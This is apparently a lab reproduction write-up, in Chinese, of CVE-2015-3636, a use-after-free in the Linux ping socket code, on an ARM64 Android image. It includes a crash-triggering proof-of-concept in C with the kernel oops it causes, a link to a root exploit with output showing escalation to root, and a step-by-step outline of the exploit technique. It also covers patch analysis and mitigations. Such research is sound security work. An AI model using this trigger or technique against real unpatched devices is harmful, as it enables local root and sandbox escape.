CVE-2015-3636复现(arm架构)
[toc]
一、漏洞信息
1. 漏洞简述
- 漏洞名称:pingpong root
- 漏洞编号:cve-2015-3636
- 漏洞类型:UAF漏洞
- 漏洞影响:提权
- CVSS评分:4.9(CVSS2.0)
- 利用难度:Medium
- 基础权限:需要(是否需要普通用户权限)
2. 组件概述
漏洞存在于 Linux 内核的网络子系统中的IPv4 ping 模块。
功能:处理icmp协议包
使用范围: 广泛应用于所有基于 Linux 内核的发行版,也是 Android 网络通信的基础。
3. 漏洞利用
核心在于释放后使用 (Use-After-Free)。
1
| Linux 内核中 net/ipv4/ping.c 文件中的 ping_unhash 函数在 4.0.3 之前的版本中,在取消哈希操作时未初始化某个列表数据结构,允许本地用户通过利用能够对 IPPROTO_ICMP 或 IPPROTO_ICMPV6 协议的 SOCK_DGRAM 套接字进行系统调用,并在断开连接后进行连接系统调用,从而获得权限或导致服务拒绝(使用后释放和系统崩溃)。
|
4. 漏洞影响
主要影响 Linux 内核 3.0 至 4.0.1 版本。
5. 解决方案
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a134f083e79fb4c3d0a925691e732c56911b4326
1 2
| diff: + sk_nulls_node_init(&sk->sk_nulls_node);
|
二、漏洞复现
1. 环境搭建
靶机下载:
1
| http://down.52pojie.cn/Challenge/2016_Security_Challenge/android-problem-env.7z
|
靶机环境版本详述
1 2
| cat /proc/version Linux version 3.10.0+ (root@jiayy) (gcc version 4.9.x-google 20140827 (prerelease) (GCC) ) #63 SMP PREEMPT Wed Mar 23 11:27:47 CST 2016
|
靶机配置
靶机要准备一个普通用户权限,再通过漏洞提权到root权限。
1 2 3 4 5 6 7
| # 当前用户权限 id uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:su:s0
# 是否可使用ping sockets,漏洞复现的关键 cat /proc/sys/net/ipv4/ping_group_range 0 2147483647
|
攻击机环境版本详述
1 2 3
| # 攻击机版本无所谓 uname -a Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64 GNU/Linux
|
攻击机配置
2. 复现过程
1、测试poc(使用ndk-build生成)
1 2 3 4 5 6 7 8 9 10 11
| # 下载poc https://blingblingxuanxuan.github.io/2022/09/21/cve-2015-3636-52pojie-version/poc.zip # 安装ndk编译器 sudo apt install google-android-ndk-r21e-installer # 通常安装在/usr/lib/android-ndk下,在jni目录的上级目录执行 /usr/lib/android-ndk/ndk-build # 编译完成的poc会在libs/arm64-v8a下,使用adb push到靶机中 adb push libs/arm64-v8a/poc /data/local/tmp/ # 给予poc可执行权限然后执行poc cd /data/local/tmp ./poc
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/in.h>
int main() { int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); struct sockaddr_in sa; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); sa.sin_family = AF_UNSPEC; connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); connect(sock, (const struct sockaddr *) &sa, sizeof(sa)); return 0;
}
|
测试结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| Unable to handle kernel paging request at virtual address 00001360 pgd = ffffffc0336cf000 [00001360] *pgd=0000000000000000 Internal error: Oops: 94000045 [#1] PREEMPT SMP CPU: 0 PID: 1187 Comm: poc Not tainted 3.10.0+ #63 task: ffffffc0335c6880 ti: ffffffc0336d4000 task.ti: ffffffc0336d4000 PC is at ping_unhash+0x30/0xa0 LR is at ping_unhash+0x28/0xa0 pc : [<ffffffc000409644>] lr : [<ffffffc00040963c>] pstate: 80000145 sp : ffffffc0336d7da0 x29: ffffffc0336d7da0 x28: ffffffc0336d4000 x27: ffffffc000607000 x26: 00000000000000cb x25: 0000000000000116 x24: 0000000000000015 x23: 0000000080000000 x22: 00000072c0bf716c x21: 0000007fdd8889c8 x20: ffffffc000679000 x19: ffffffc03d889200 x18: 0000000000000053 x17: 00000072c0b15c10 x16: ffffffc00035c750 x15: 00000072c0b163ea x14: 0000000000000000 x13: 0000000000000041 x12: 0000000000000041 x11: 00000072c0b16404 x10: 0000007fdd888b28 x9 : 4e873cb15bf53652 x8 : 00000000000000cb x7 : 0000000000000140 x6 : 000000000001ce7f x5 : 0000000000000000 x4 : ffffffc0003fe648 x3 : 0000000000000002 x2 : 0000000000000200 x1 : 0000000000001360 x0 : 0000000000000003
PC: 0xffffffc0004095c4: 95c4 f9000422 f9401681 b0001100 91150000 52800022 97fd5dee 17ffffc2 a9bf7bfd 95e4 f0000b80 b0000d61 b0000743 910003fd 9120e000 9125c021 52801262 912a0063 9604 94027981 f0000b80 9121a000 940278e8 a9be7bfd 910003fd a90153f3 f9401c01 9624 b4000381 90001394 aa0003f3 91026280 91080000 94028d43 f9401e61 f9401a60 9644 f9000020 360002c0 d2826c00 91011262 f9001e60 885ffc40 51000400 8801fc40 9664 35ffffa1 34000200 f9401661 b0001100 91150000 79001e7f 7904d27f 12800002 9684 97fd5dc3 91026280 91080000 94028d6d a94153f3 a8c27bfd d65f03c0 f9000401 96a4 17ffffea aa1303e0 97fd54f6 17ffffef a9be7bfd 910003e1 910003fd 9272c423
LR: 0xffffffc0004095bc: 95bc f9000002 37000041 f9000422 f9401681 b0001100 91150000 52800022 97fd5dee 95dc 17ffffc2 a9bf7bfd f0000b80 b0000d61 b0000743 910003fd 9120e000 9125c021 95fc 52801262 912a0063 94027981 f0000b80 9121a000 940278e8 a9be7bfd 910003fd 961c a90153f3 f9401c01 b4000381 90001394 aa0003f3 91026280 91080000 94028d43 963c f9401e61 f9401a60 f9000020 360002c0 d2826c00 91011262 f9001e60 885ffc40 965c 51000400 8801fc40 35ffffa1 34000200 f9401661 b0001100 91150000 79001e7f 967c 7904d27f 12800002 97fd5dc3 91026280 91080000 94028d6d a94153f3 a8c27bfd 969c d65f03c0 f9000401 17ffffea aa1303e0 97fd54f6 17ffffef a9be7bfd 910003e1
SP: 0xffffffc0336d7d20: 7d20 00679000 ffffffc0 dd8889c8 0000007f c0bf716c 00000072 80000000 00000000 7d40 00000015 00000000 00000116 00000000 000000cb 00000000 00607000 ffffffc0 7d60 336d4000 ffffffc0 336d7da0 ffffffc0 0040963c ffffffc0 336d7da0 ffffffc0 7d80 00409644 ffffffc0 80000145 00000000 3d889200 ffffffc0 004ac53c ffffffc0 7da0 336d7dc0 ffffffc0 003f39e4 ffffffc0 3d889200 ffffffc0 00000000 00000000 7dc0 336d7de0 ffffffc0 003fe6c4 ffffffc0 3d889200 ffffffc0 00000010 00000000 7de0 336d7e10 ffffffc0 0035c804 ffffffc0 2ecb4f00 ffffffc0 3ecbd420 ffffffc0 7e00 336d7e10 ffffffc0 0035c7a4 ffffffc0 dd8889a0 0000007f 0008424c ffffffc0
X4: 0xffffffc0003fe5c8: e5c8 17ffffd3 52800060 b9000280 17ffffc7 128002a0 17ffffdf a9be7bfd 52800001 e5e8 910003fd f9000bf3 aa0003f3 97fd864b 79401e61 35000121 f9401662 aa1303e0 e608 f9405c42 d63f0040 35000140 79401e60 5ac00400 7904d260 aa1303e0 97fd8652 e628 52800000 f9400bf3 a8c27bfd d65f03c0 aa1303e0 97fd864c 12800140 17fffffa e648 a9bd7bfd 7100045f 910003fd f9000bf3 f9401013 540003a9 79400020 34000260 e668 79401e60 34000100 f9401663 aa1303e0 f9400463 d63f0060 f9400bf3 a8c37bfd e688 d65f03c0 aa1303e0 f90013a1 f90017a2 97ffffd2 f94017a2 f94013a1 34fffe60 e6a8 12800140 17fffff5 f9401662 aa1303e0 2a0303e1 f9400842 d63f0040 f9400bf3
X16: 0xffffffc00035c6d0: c6d0 a8cd7bfd d65f03c0 97f79e9a 17fffff9 12800cc0 b90047a0 aa1503e0 97f79e95 c6f0 2a1603e0 97f804a2 b9404fa1 f9400e60 34fffe01 17fffff5 928002a0 17ffffee c710 aa1403e0 b90047b6 97fffb8b 17ffffe6 2a1603e0 b90047b5 97f80495 aa1403e0 c730 97fffb85 17ffffe0 a9bf7bfd 52800003 910003fd 97ffff93 a8c17bfd d65f03c0 c750 a9b47bfd 910003fd a90153f3 f90013f5 aa0203f4 aa0103f5 9100f3a2 9100e3a1 c770 97fff473 aa0003f3 b4000200 aa1503e0 2a1403e1 910103a2 97fffadc b9003ba0 c790 37f800e0 aa1303e0 910103a1 2a1403e2 97fb9f08 b9003ba0 340001e0 b9403fa1 c7b0 f9400e60 350000c1 b9803ba0 a94153f3 f94013f5 a8cc7bfd d65f03c0 97f79e5d
X19: 0xffffffc03d889180: 9180 0000010b 00000000 000000d9 00000000 00000000 00000000 006126f0 ffffffc0 91a0 00000001 00000000 00010017 00010001 be870000 0000007e 0000008d 00000000 91c0 00000000 00000000 00000000 00000000 00000000 00000000 3e12e300 ffffffc0 91e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 9200 00000000 00000000 00000000 00000000 01070002 00000000 00000000 00000000 9220 00000000 00000000 00634388 ffffffc0 00000003 00000000 00001360 00000000 9240 ffffffff 00000001 00060006 00000000 00000000 00000000 3d889258 ffffffc0 9260 3d889258 ffffffc0 3d889268 ffffffc0 3d889268 ffffffc0 00000000 00000000
X20: 0xffffffc000678f80: 8f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 8fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 8fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 8fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 9000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 9020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 9040 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 9060 00000010 00000000 3dfecf80 ffffffc0 3dfec880 ffffffc0 3ec04540 ffffffc0
X27: 0xffffffc000606f80: 6f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 6fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 6fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 6fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 7000 001861e4 ffffffc0 00186610 ffffffc0 00186ccc ffffffc0 00186ce4 ffffffc0 7020 00186e70 ffffffc0 00164fc0 ffffffc0 001650ac ffffffc0 00165198 ffffffc0 7040 00165244 ffffffc0 001652d8 ffffffc0 0016536c ffffffc0 001653dc ffffffc0 7060 00165468 ffffffc0 001654f4 ffffffc0 0016555c ffffffc0 00165618 ffffffc0
X28: 0xffffffc0336d3f80: 3f80 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 3fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 3fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 3fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 4000 00000002 00000000 ffffffff ffffffff 335c6880 ffffffc0 00608d50 ffffffc0 4020 000a8204 ffffffc0 00000000 00000000 00000000 00000000 00000000 00000000 4040 00000000 00000000 00000000 00000000 00000203 00000000 57ac6e9d 00000000 4060 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
X29: 0xffffffc0336d7d20: 7d20 00679000 ffffffc0 dd8889c8 0000007f c0bf716c 00000072 80000000 00000000 7d40 00000015 00000000 00000116 00000000 000000cb 00000000 00607000 ffffffc0 7d60 336d4000 ffffffc0 336d7da0 ffffffc0 0040963c ffffffc0 336d7da0 ffffffc0 7d80 00409644 ffffffc0 80000145 00000000 3d889200 ffffffc0 004ac53c ffffffc0 7da0 336d7dc0 ffffffc0 003f39e4 ffffffc0 3d889200 ffffffc0 00000000 00000000 7dc0 336d7de0 ffffffc0 003fe6c4 ffffffc0 3d889200 ffffffc0 00000010 00000000 7de0 336d7e10 ffffffc0 0035c804 ffffffc0 2ecb4f00 ffffffc0 3ecbd420 ffffffc0 7e00 336d7e10 ffffffc0 0035c7a4 ffffffc0 dd8889a0 0000007f 0008424c ffffffc0
Process poc (pid: 1187, stack limit = 0xffffffc0336d4058) Stack: (0xffffffc0336d7da0 to 0xffffffc0336d8000) 7da0: 336d7dc0 ffffffc0 003f39e4 ffffffc0 3d889200 ffffffc0 00000000 00000000 7dc0: 336d7de0 ffffffc0 003fe6c4 ffffffc0 3d889200 ffffffc0 00000010 00000000 7de0: 336d7e10 ffffffc0 0035c804 ffffffc0 2ecb4f00 ffffffc0 3ecbd420 ffffffc0 7e00: 336d7e10 ffffffc0 0035c7a4 ffffffc0 dd8889a0 0000007f 0008424c ffffffc0 7e20: 00000010 00000000 dd8889c8 0000007f ffffffff ffffffff 335c6880 ffffffc0 7e40: 20000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 7e60: 336d7e90 ffffffc0 00084ddc ffffffc0 336d4000 ffffffc0 335c6cc0 ffffffc0 7e80: 336d7e90 ffffffc0 00084de8 ffffffc0 336d7eb0 ffffffc0 00088100 ffffffc0 7ea0: 00000008 00000000 dd8889c8 0000007f dd8889a0 0000007f 000842ec ffffffc0 7ec0: 00000010 00000000 dd8889c8 0000007f 00000003 00000000 dd8889c8 0000007f 7ee0: 00000010 00000000 c0c58000 00000072 c0b15f38 00000072 00000000 00000000 7f00: 00000000 00000000 0000001b 00000000 000000cb 00000000 5bf53652 4e873cb1 7f20: dd888b28 0000007f c0b16404 00000072 00000041 00000000 00000041 00000000 7f40: 00000000 00000000 c0b163ea 00000072 c0b26f78 00000072 c0b15c10 00000072 7f60: 00000053 00000000 00000010 00000000 dd8889c8 0000007f 00000003 00000000 7f80: 89c53748 00000055 00000000 00000000 00000000 00000000 00000000 00000000 7fa0: 00000000 00000000 00000000 00000000 00000000 00000000 dd8889a0 0000007f 7fc0: c0b15fe4 00000072 dd888960 0000007f c0bf716c 00000072 80000000 00000000 7fe0: 00000003 00000000 000000cb 00000000 00000000 00000000 00000000 00000000 Call trace: [<ffffffc000409644>] ping_unhash+0x30/0xa0 [<ffffffc0003f39e0>] udp_disconnect+0x98/0x10c [<ffffffc0003fe6c0>] inet_dgram_connect+0x78/0x90 [<ffffffc00035c800>] SyS_connect+0xb0/0xc8 Code: 91080000 94028d43 f9401e61 f9401a60 (f9000020) ---[ end trace 6af4457addbd1d9d ]--- Kernel panic - not syncing: Fatal exception in interrupt
|
可以看到kernel panic,且栈帧显示漏洞点在ping_unhash,证明poc正确。
2、测试exp
1 2 3
| # 下载exp https://github.com/4B5F5F4B/Exploits/tree/master/Linux/CVE-2015-3636 # 编译和执行同上,不再赘述
|
测试结果
可以看到用户权限由shell提升到了root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| root@generic_arm64:/data/local/tmp $ id uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:su:s0
root@generic_arm64:/data/local/tmp $ ./exp WARNING: linker: ./exp: unused DT entry: type 0x6ffffef5 arg 0x3d8 WARNING: linker: ./exp: unused DT entry: type 0x6ffffffe arg 0x858 WARNING: linker: ./exp: unused DT entry: type 0x6fffffff arg 0x1 [*] physmap spray begin. [*] physmap spray done. [*] magic:0x4b624d71 [*] now we can R/W kernel address space like a boss. [*] selinux disabled. [*] magic:0x4b624d85 [*] task:0xffffffc00e644c00 [*] cred:0xffffffc012132900 [*] files:0xffffffc00e771400 [*] fdt:0xffffffc01dd8b6c0
root@generic_arm64:/data/local/tmp # id uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:su:s0
|
三、漏洞分析
1. 基本信息
- 漏洞文件:net/ipv4/ping.c
- 漏洞函数:ping_unhash
- 漏洞对象:struct sock
2. 背景知识
(1)内核态等级划分
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 权限等级的划分
x86架构 在 CPU 的设计中,并不是所有代码都被平等对待。为了防止普通程序(如你的 PoC)直接修改硬盘数据或关闭 CPU,硬件将权限划分为四个等级: Ring 3 (用户态):这是权限最低的一级。你的 PoC 程序、浏览器、各种 APP 都运行在这里。它们不能直接访问硬件,只能乖乖听内核的话。 Ring 1 & 2:原本设计给操作系统驱动程序使用,但在现代操作系统(Windows, Linux)中基本被弃用了。 Ring 0 (内核态):这是权限最高的一级。Linux 内核及其驱动程序运行在这里。它拥有对内存、CPU 指令、I/O 设备的全部控制权。
ARM64 架构 术语改成了 EL (Exception Level): EL0 (相当于 Ring 3):用户模式。 EL1 (相当于 Ring 0):内核模式(OS Kernel)。 EL2:虚拟化监控程序(Hypervisor)。 EL3:安全监视器(Secure Monitor/TrustZone)。
|
(2)宏定义转换内核调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr, int, addrlen)
|
(3)linux rlimit资源限制
https://www.cnblogs.com/hustquan/archive/2012/04/01/2428128.html
(4)cred结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; #ifdef CONFIG_KEYS unsigned char jit_keyring;
struct key __rcu *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; struct rcu_head rcu; };
|
3. 详细分析
1. 基础分析
根据poc显示的错误信息:Unable to handle kernel paging request at virtual address 00001360
漏洞发生在内核态下对地址的错误访问
源码链接:https://github.com/torvalds/linux/tree/v3.10-rc1
2. 静态分析
1. 函数调用链
根据poc显示的call trace,可以发现调用链条如下
1 2 3 4 5
| Call trace: [<ffffffc000409644>] ping_unhash+0x30/0xa0 [<ffffffc0003f39e0>] udp_disconnect+0x98/0x10c [<ffffffc0003fe6c0>] inet_dgram_connect+0x78/0x90 [<ffffffc00035c800>] SyS_connect+0xb0/0xc8
|
1
| SyS_connect -> inet_dgram_connect -> udp_disconnect -> ping_unhash
|
2. 补丁Diff
分析:
增加了sk_nulls_node_init函数,作用就是显式地将pprev置为NULL,从而避免sk_hashed(sk)的错误判断。
1 2 3 4
| static inline void sk_nulls_node_init(struct hlist_nulls_node *node) { node->pprev = NULL; }
|
3. 漏洞函数分析
具体的漏洞函数功能、触发条件、源代码分析
1 2 3 4 5 6 7 8 9 10
|
... #define __NR_connect 203 __SYSCALL(__NR_connect, sys_connect) ...
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
... asmlinkage long sys_connect(int, struct sockaddr __user *, int); ...
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
SYSCALL_DEFINE3(connect, int, fd, struct sockaddr __user *, uservaddr, int, addrlen) { struct socket *sock; struct sockaddr_storage address; int err, fput_needed; sock = sockfd_lookup_light(fd, &err, &fput_needed); if (!sock) goto out; err = move_addr_to_kernel(uservaddr, addrlen, &address); if (err < 0) goto out_put; err = security_socket_connect(sock, (struct sockaddr *)&address, addrlen); if (err) goto out_put; err = sock->ops->connect(sock, (struct sockaddr *)&address, addrlen, sock->file->f_flags); out_put: fput_light(sock->file, fput_needed); out: return err; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
|
int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr, int addr_len, int flags) { struct sock *sk = sock->sk; if (addr_len < sizeof(uaddr->sa_family)) return -EINVAL; if (uaddr->sa_family == AF_UNSPEC) return sk->sk_prot->disconnect(sk, flags); if (!inet_sk(sk)->inet_num && inet_autobind(sk)) return -EAGAIN; return sk->sk_prot->connect(sk, uaddr, addr_len); } EXPORT_SYMBOL(inet_dgram_connect);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
|
int ip4_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) { struct inet_sock *inet = inet_sk(sk); struct sockaddr_in *usin = (struct sockaddr_in *) uaddr; struct flowi4 *fl4; struct rtable *rt; __be32 saddr; int oif; int err;
if (addr_len < sizeof(*usin)) return -EINVAL;
if (usin->sin_family != AF_INET) return -EAFNOSUPPORT;
sk_dst_reset(sk);
lock_sock(sk); oif = sk->sk_bound_dev_if; saddr = inet->inet_saddr; if (ipv4_is_multicast(usin->sin_addr.s_addr)) { if (!oif) oif = inet->mc_index; if (!saddr) saddr = inet->mc_addr; } fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, usin->sin_addr.s_addr, saddr, RT_CONN_FLAGS(sk), oif, sk->sk_protocol, inet->inet_sport, usin->sin_port, sk, true); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS_BH(sock_net(sk), IPSTATS_MIB_OUTNOROUTES); goto out; } if ((rt->rt_flags & RTCF_BROADCAST) && !sock_flag(sk, SOCK_BROADCAST)) { ip_rt_put(rt); err = -EACCES; goto out; } if (!inet->inet_saddr) inet->inet_saddr = fl4->saddr; if (!inet->inet_rcv_saddr) { inet->inet_rcv_saddr = fl4->saddr; if (sk->sk_prot->rehash) sk->sk_prot->rehash(sk); } inet->inet_daddr = fl4->daddr; inet->inet_dport = usin->sin_port; sk->sk_state = TCP_ESTABLISHED; inet->inet_id = jiffies; sk_dst_set(sk, &rt->dst); err = 0; out: release_sock(sk); return err; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
int udp_disconnect(struct sock *sk, int flags) { struct inet_sock *inet = inet_sk(sk);
sk->sk_state = TCP_CLOSE; inet->inet_daddr = 0; inet->inet_dport = 0; sock_rps_reset_rxhash(sk); sk->sk_bound_dev_if = 0; if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK)) inet_reset_saddr(sk); if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) { sk->sk_prot->unhash(sk); inet->inet_sport = 0; } sk_dst_reset(sk); return 0; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
|
static void ping_v4_unhash(struct sock *sk) { struct inet_sock *isk = inet_sk(sk); pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0; sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); write_unlock_bh(&ping_table.lock); } }
|
在poc中,调用一次AF_INET再调用两次AF_UNSPEC就会发生错误的free从而导致panic。
4. 利用思路
1. 利用条件
1 2 3 4
| 配置: 内核版本处于受影响区间(3.0 - 4.0.x)。 内核必须开启 CONFIG_IP_ICMP`(默认开启),允许创建 AF_INET, SOCK_DGRAM, IPPROTO_ICMP 类型的 Socket。 用户必须有权创建 Ping Socket。
|
2. 利用过程
exp分析
阶段一:堆喷与内存重构
第一步:修改进程资源数上限
1
| maximize_fd_limit()函数用于修改进程可以使用的资源数,通常是将限制数由软限制修改为硬限制。
|
第二步:批量创建socket
1 2
| 创建大量connect 主要的目的是占据一块完整的内存空间,使内存更加平整,便于利用。
|
第三步:在低地址区开辟内存
1 2 3 4
| mmap部分在起始地址为4096的部分开辟了内存页。 需要对mmap_min_addr作出修改(一般需要root权限,可能在当时版本没有这么严格的限制) mmap映射出可用内存之后,在poc中panic的地址就不会发生崩溃,因为不是空指针了。 而后再将所有内存都存入nop指令(0x90),便于执行payload(NOP 滑块)
|
第四步:将第二步中创建的所有socket都free两次。
1 2
| 两次 connect 不是在释放 Socket 文件描述符,而是在释放内核里的 Socket 结构体对象。 释放之后我们仍然拥有指向内存的fd。
|
第五步:进行堆喷射。
1 2
| 向操作系统请求大量内存,以求覆盖socket释放的部分。 把大块内存按 4KB (PAGE_SIZE) 分割,用 memset 强制内核分配真实的物理内存,在 +0x1D8 位置写入指纹(MAGIC_VALUE + 页数)。把这个页面的地址存入数组。
|
第六步:在第五步请求的大量内存中,寻找跟socket重合的部分。
1 2
| search_exploitable_socket函数中,通过时间戳配置,读取socket特定位置的值(即第五步中的指纹),与第五步请求得到的页进行匹配,最终寻找到可以控制的socket。 返回socket的句柄和页地址。
|
阶段二:利用 Gadget 突破 addr_limit
第七步:修改addr_limit
1 2 3 4
| 一般来说用户态是不能修改内核态的空间的,但是通过修改addr_limit就可以做到这一点 调用的起始点在exp_sock的close函数,close函数对应的是存储在0x28偏移位置的指针,将0x28偏移指向了payload的起始地址,payload的起始地址又指向一个gadget(0xFFFFFFC00035D788), 因此实际上exp_sock的close函数是执行了gadget部分。 gadget会将addr_limit短暂地修改为整个地址空间,然后再修改回去,但是通过修改0x68处的地址,可以绕过恢复部分的代码。
|
第八步:去除内核保护
1 2 3 4 5 6
| 将mmap_min_addr修改为0 注意在修改的时候是使用的管道(pipe)进行间接修改,避免触发硬件的保护。(如直接使用memcpy等函数)
在NULL地址处进行映射,注意此处的mmap函数有一个MAP_FIXED参数表示强制在NULL地址,而不是任意空闲地址了。
关闭selinux
|
阶段三:内核数据结构篡改
第九步:泄露task_struct地址
1 2 3 4
| 内核态执行 close() 系统调用时,SP 指向的是该进程的内核栈空间。内核栈不仅用于存储局部变量,它的位置与进程的基础描述符有严格的对齐关系。 在 AArch64 Linux 内核中,每个进程的 thread_info 结构体通常位于其内核栈的底部(低地址端)。由于内核栈是 16KB 对齐的,通过屏蔽低 14 位位偏移,X2 精准指向了当前进程的 struct thread_info。 在当时的内核版本中,thread_info 的偏移 0x10 处存放的是 task 指针,指向该进程的struct task_struct 把 task_struct 的内核地址直接写到用户态进程的虚拟地址 0x0000000000000018 处
|
第十步:提权,修改cred结构体
1 2
| 获得task_struct的地址之后,可以得到cred结构体的地址,修改cred结构体中的权限相关参数,即可将权限由shell提权到root。 提权之后还需要修改一些值防止程序崩溃了。
|
3. 攻击向量
该漏洞可能存在的攻击向量
攻击向量主要集中在本地权限提升:
1 2 3 4
| Android 恶意应用: 这是该漏洞最著名的攻击向量。由于 Android 早期版本对 Ping Socket 权限限制较松,恶意 App 可以通过此漏洞直接获取 Root 权限,绕过应用沙盒,窃取隐私数据或控制底层硬件。 容器逃逸 (Container Escape): 如果容器内的用户拥有 CAP_NET_RAW 权限或处于允许使用 Ping 的组,且宿主机内核存在此漏洞,攻击者可以从普通容器用户提升至宿主机内核权限,从而实现逃逸。 本地普通用户提权: 在多用户 Linux 服务器上,普通用户利用此漏洞可以成为超级用户。 结合浏览器漏洞的沙箱逃逸: 在某些复杂的攻击链中,黑客先通过浏览器漏洞(如 Chrome/Firefox)获取渲染进程权限,再利用此内核漏洞突破系统沙盒(Sandboxing)。
|
四、现代防护
随着内核版本的提升,该 EXP 使用的底层路径已被彻底封死:
1 2 3 4 5
| 移除addr_limit机制:现代内核(如 5.10+)已经彻底废弃了 addr_limit,攻击者无法再通过修改一个简单的标志位来获得全空间的读写权限。
mmap_min_addr限制:现在的Android系统默认禁止普通用户在低地址,如0x0映射内存,使得本漏洞利用中依赖空指针解引用变为合法访问的技巧失效。
struct cred保护:部分加固内核将cred结构体放入只读内存或通过特殊的对齐检查来防止被非法篡改。
|
五、参考文献
文章的参考文献或个人博客。
1 2 3 4 5 6 7
| https://bbs.kanxue.com/thread-230298-1.htm
https://n1rv0us.github.io/2022/08/17/CVE-2015-3636%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90/
https://blingblingxuanxuan.github.io/2022/09/21/cve-2015-3636-52pojie-version/#%E7%9F%A5%E8%AF%86%E7%82%B9%E8%A1%A5%E5%85%85
https://cn-sec.com/archives/4200546.html
|